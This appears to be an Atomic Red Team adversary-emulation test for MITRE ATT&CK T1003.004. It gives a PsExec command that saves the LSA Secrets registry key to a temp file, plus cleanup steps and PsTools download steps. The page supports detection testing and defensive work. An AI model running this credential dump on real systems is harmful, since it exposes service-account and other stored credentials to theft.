T1003.004 - OS Credential Dumping: LSA Secrets

Description from ATT&CK

Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets) [Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)

Atomic Tests


Atomic Test #1 - Dumping LSA Secrets

Dump secrets key from Windows registry When successful, the dumped file will be written to $env:Temp\secrets. Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information. https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.

Supported Platforms: Windows

auto_generated_guid: 55295ab0-a703-433b-9ca4-ae13807de12f

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | psexec_exe | Path to PsExec executable | path | PathToAtomicsFolder\..\ExternalPayloads\T1003.004\bin\PsExec.exe|

Attack Commands: Run with
1
command_prompt
! Elevation Required (e.g. root or admin)

"#{psexec_exe}" -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y

Cleanup Commands:

del %temp%\secrets >nul 2> nul

Dependencies: Run with
1
powershell
!

Description: PsExec from Sysinternals must exist on disk at specified location (#{psexec_exe})
Check Prereq Commands:
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if (Test-Path "#{psexec_exe}") {exit 0} else {exit 1}
Get Prereq Commands:
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2
3
4
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PSTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PSTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PSTools" -Force
New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PSTools\PsExec.exe" "#{psexec_exe}" -Force